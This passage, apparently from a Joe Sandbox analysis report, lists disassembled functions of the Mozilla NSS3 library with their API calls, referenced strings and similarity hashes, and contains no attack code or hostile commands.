Part of subcall function 6C720FF0: PR_NewLock.NSS3(?,00000800,6C6BEF74,00000000), ref: 6C721016
Part of subcall function 6C720FF0: PL_InitArenaPool.NSS3(00000000,security,6C6C87ED,00000008,?,00000800,6C6BEF74,00000000), ref: 6C72102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C74DC29,?), ref: 6C6CBE78

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C74DC29,?), ref: 6C6CBE96

Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C74DC29,?), ref: 6C6CBEBB

Part of subcall function 6C71FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C718D2D,?,00000000,?), ref: 6C71FB85
Part of subcall function 6C71FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C71FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C74DC29,?), ref: 6C6CBEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C74DC29,?), ref: 6C6CBEF3

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 704b7d9e251bc6c2889ace20b6ae3880149e2fc447f0c6594388d5fb316bbc96
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 8111DD71F002155BEB008B65ED49FAF77A8EF85799F144024ED08D7B80E731D909C7A5

Function 6C753C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C755B40: PR_GetIdentitiesLayer.NSS3 ref: 6C755B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C753D3F

Part of subcall function 6C6CBA90: PORT_NewArena_Util.NSS3(00000800,6C753CAF,?), ref: 6C6CBABF
Part of subcall function 6C6CBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C753CAF,?), ref: 6C6CBAD5
Part of subcall function 6C6CBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C753CAF,?), ref: 6C6CBB08
Part of subcall function 6C6CBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C753CAF,?), ref: 6C6CBB1A
Part of subcall function 6C6CBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C753CAF,?), ref: 6C6CBB3B

PR_EnterMonitor.NSS3(?), ref: 6C753CCB

Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890AB
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890C9
Part of subcall function 6C789090: EnterCriticalSection.KERNEL32 ref: 6C7890E5
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C789116
Part of subcall function 6C789090: LeaveCriticalSection.KERNEL32 ref: 6C78913F

PR_EnterMonitor.NSS3(?), ref: 6C753CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C753CF8
PR_ExitMonitor.NSS3(?), ref: 6C753D15
PR_ExitMonitor.NSS3(?), ref: 6C753D2E

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: b053ff942f237b0e62d71a13228d1c8842c9477bd32b7716a4f56a86bce4e550
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: A5112B75A117006FE7205A65FD46B9BB3F5EF11308F904534E51A87B31FA32F829C652

Function 6C71FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C71FE08

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C71FE1D

Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C71FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C71FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C71FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C71FE6F

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: a0585ba681774b1b06f94a89d2b4b39499cc963d2f067fb46577be9297a970ca
Instruction ID: 5f479bab716465a655bec2395dfd0573047f46dd86c456b1159255454be282f6
Opcode Fuzzy Hash: a0585ba681774b1b06f94a89d2b4b39499cc963d2f067fb46577be9297a970ca
Instruction Fuzzy Hash: FB1108B6604205ABEB108F65DD48E5BB3DCAF54299F188138ED1C87F12E731E918C7E1

Function 6C7CFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C7CFD9E

Part of subcall function 6C789BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6B1A48), ref: 6C789BB3
Part of subcall function 6C789BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6B1A48), ref: 6C789BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C7CFDB9

Part of subcall function 6C6AA900: TlsGetValue.KERNEL32(00000000,?,6C8214E4,?,6C644DD9), ref: 6C6AA90F
Part of subcall function 6C6AA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6AA94F

PR_Unlock.NSS3 ref: 6C7CFDD4
PR_Lock.NSS3 ref: 6C7CFDF2
PR_NotifyAllCondVar.NSS3 ref: 6C7CFE0D
PR_Unlock.NSS3 ref: 6C7CFE23

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 07ff6c6f964c4a0869489a6c8449cdbf85f69a5861715ca75ffb91b9d46cdd28
Instruction ID: 9d1160e43cbce314a78c71b7fd3cd7727f344f87164ba8267e55bb9007ad9538
Opcode Fuzzy Hash: 07ff6c6f964c4a0869489a6c8449cdbf85f69a5861715ca75ffb91b9d46cdd28
Instruction Fuzzy Hash: 380182B6A005015FCF155E16FD098527A72BB1236C7258375E82A47BA2E723ED28C6C2

Function 6C6AAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6AAFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C6AAF5C
%s at line %d of [%.10s], xrefs: 6C6AAFD3
misuse, xrefs: 6C6AAFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6AAFC4

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: c55bc32ee98f45b90416f65945c5a7cc5ca30247b04bda977ecb87ff71bebdb4
Instruction ID: 7e34f8b05d4060751cea4bbb53a2e804b0384c279da830f2763afdb7ce779d60
Opcode Fuzzy Hash: c55bc32ee98f45b90416f65945c5a7cc5ca30247b04bda977ecb87ff71bebdb4
Instruction Fuzzy Hash: F091F671A002158FDB04CF99C854BEAB7F1BF89314F1985A9E864AB752C334ED02CFA4

Function 6C70FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C70FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C70FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C70FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C70FDDE

Part of subcall function 6C718800: TlsGetValue.KERNEL32(?,6C72085A,00000000,?,6C6C8369,?), ref: 6C718821
Part of subcall function 6C718800: TlsGetValue.KERNEL32(?,?,6C72085A,00000000,?,6C6C8369,?), ref: 6C71883D
Part of subcall function 6C718800: EnterCriticalSection.KERNEL32(?,?,?,6C72085A,00000000,?,6C6C8369,?), ref: 6C718856
Part of subcall function 6C718800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C718887
Part of subcall function 6C718800: PR_Unlock.NSS3(?,?,?,?,6C72085A,00000000,?,6C6C8369,?), ref: 6C718899

Strings

pkcs11:, xrefs: 6C70FC4F

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 1d6b905db783dfa9a65403b8defe8e71dee1a2939dcbaccda43ad2b538089f56
Instruction ID: a1fe20039f2e9c340d0115dd25ecc784ddb9e8c8fafeecd3cbb3ac918a743575
Opcode Fuzzy Hash: 1d6b905db783dfa9a65403b8defe8e71dee1a2939dcbaccda43ad2b538089f56
Instruction Fuzzy Hash: D351F0F1B04111ABEB008F659F5AB9A33A5AF4136CF190036DD046BF41EB34E805CBDA

Function 6C64BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C64BE02

Part of subcall function 6C779C40: memcmp.VCRUNTIME140(?,00000000,6C64C52B), ref: 6C779D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C64BE9F

Strings

database corruption, xrefs: 6C64BE93
%s at line %d of [%.10s], xrefs: 6C64BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C64BE89

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 7b30b1b19bd58eedccb870ffb5fde05a62973d4be44a912f07f1b9cf8caef8ac
Instruction ID: a7598fe0b50cef4b288cdac12d9413c70d926d54510561273fc715091c180e2b
Opcode Fuzzy Hash: 7b30b1b19bd58eedccb870ffb5fde05a62973d4be44a912f07f1b9cf8caef8ac
Instruction Fuzzy Hash: 0A310131A44A5A8BC704CF69C898EEFBBA2AFC1394B19C554EA581BB41D370E906C7D4

Function 6C736DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C736E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C736E57

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C736E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C736EAA

Strings

n}l, xrefs: 6C736DF9

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: n}l
API String ID: 3163584228-2142930624
Opcode ID: 398a2e2d5a72a806029a23010c85a1e9ebe8165b886cf4226167aaab69e11d17
Instruction ID: d4d6d37611acea95dde3beeba969e3ee8a99c5123bb7a660d370649cd2305782
Opcode Fuzzy Hash: 398a2e2d5a72a806029a23010c85a1e9ebe8165b886cf4226167aaab69e11d17
Instruction Fuzzy Hash: F331C572691522EEDB141F34DE08396B7A8BB0131AF14163CD99ED6AC2E730A65CCB81

Function 6C6C1EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C6C4C64,?,-00000004), ref: 6C6C1EE2

Part of subcall function 6C721820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C6C1D97,?,?), ref: 6C721836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C6C4C64,?,-00000004), ref: 6C6C1F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C6C4C64,?,-00000004), ref: 6C6C1F37
DER_DecodeTimeChoice_Util.NSS3(?,dLll,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6C4C64,?,-00000004), ref: 6C6C1F53

Strings

dLll, xrefs: 6C6C1F2B, 6C6C1F51

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLll
API String ID: 3216063065-1640809012
Opcode ID: 3ffc89fc44435273c1acf5ff6a1fe8c254c07bab170ba5eeece9ddece2163146
Instruction ID: 0c95adf365795890427fa19f6a886ed5f3a51e5a99b402c6f6579b683fbf837a
Opcode Fuzzy Hash: 3ffc89fc44435273c1acf5ff6a1fe8c254c07bab170ba5eeece9ddece2163146
Instruction Fuzzy Hash: B7215071604256AFC700CF2ADD44A9BB7E9FB89799F000929E854C3A40F731E559CBD7

Function 6C6B0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C6B0BDE), ref: 6C6B0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C6B0BDE), ref: 6C6B0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C6B0BDE), ref: 6C6B0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C6B0BDE), ref: 6C6B0E32

Strings

%s incr => %d (find lib), xrefs: 6C6B0E2D

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 51130307b294b575ef38c7fdc20cc7e3bdaa6e0fbbf3febab5a1e1e5b3d2f5f3
Instruction ID: 046c152ace837089eeb6bbb399a8a309a93f69b7aac8074fe33fec57d7b974a5
Opcode Fuzzy Hash: 51130307b294b575ef38c7fdc20cc7e3bdaa6e0fbbf3febab5a1e1e5b3d2f5f3
Instruction Fuzzy Hash: DC01F5B17002249FE6208B249D4DE17BBA8DB45708B05443DE945E3A41E661FC25C7E1

Function 6C6F1CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C6F1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C6F1CF1

Part of subcall function 6C7D09D0: PR_Now.NSS3 ref: 6C7D0A22
Part of subcall function 6C7D09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C7D0A35
Part of subcall function 6C7D09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C7D0A66
Part of subcall function 6C7D09D0: PR_GetCurrentThread.NSS3 ref: 6C7D0A70
Part of subcall function 6C7D09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C7D0A9D
Part of subcall function 6C7D09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C7D0AC8
Part of subcall function 6C7D09D0: PR_vsmprintf.NSS3(?,?), ref: 6C7D0AE8
Part of subcall function 6C7D09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7D0B19
Part of subcall function 6C7D09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7D0B48
Part of subcall function 6C7D09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7D0C76
Part of subcall function 6C7D09D0: PR_LogFlush.NSS3 ref: 6C7D0C7E

Strings

C_Initialize, xrefs: 6C6F1CD3
n}l, xrefs: 6C6F1D09, 6C6F1D30
pInitArgs = 0x%p, xrefs: 6C6F1CEC

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$n}l
API String ID: 1907330108-3183463505
Opcode ID: f525111df6a1b11a8865bcff9e487bd6e31ee548c0a5fe54cadb96bba9e61514
Instruction ID: ead519901a5fec7f4d6edf9a4b9d0c02ee6bc458a96f404f280e454bea03f15f
Opcode Fuzzy Hash: f525111df6a1b11a8865bcff9e487bd6e31ee548c0a5fe54cadb96bba9e61514
Instruction Fuzzy Hash: 4C0192B53011809FDB209B54DA5DB5977B6EBC236EF088035E81893A11DB3CE84AC7E6

Function 6C76AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]ul,00000000,?,?,6C746AC6,?), ref: 6C76AC2D

Part of subcall function 6C70ADC0: TlsGetValue.KERNEL32(?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AE10
Part of subcall function 6C70ADC0: EnterCriticalSection.KERNEL32(?,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AE24
Part of subcall function 6C70ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C6ED079,00000000,00000001), ref: 6C70AE5A
Part of subcall function 6C70ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AE6F
Part of subcall function 6C70ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AE7F
Part of subcall function 6C70ADC0: TlsGetValue.KERNEL32(?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AEB1
Part of subcall function 6C70ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AEC9

PK11_FreeSymKey.NSS3(?,@]ul,00000000,?,?,6C746AC6,?), ref: 6C76AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]ul,00000000,?,?,6C746AC6,?), ref: 6C76AC59
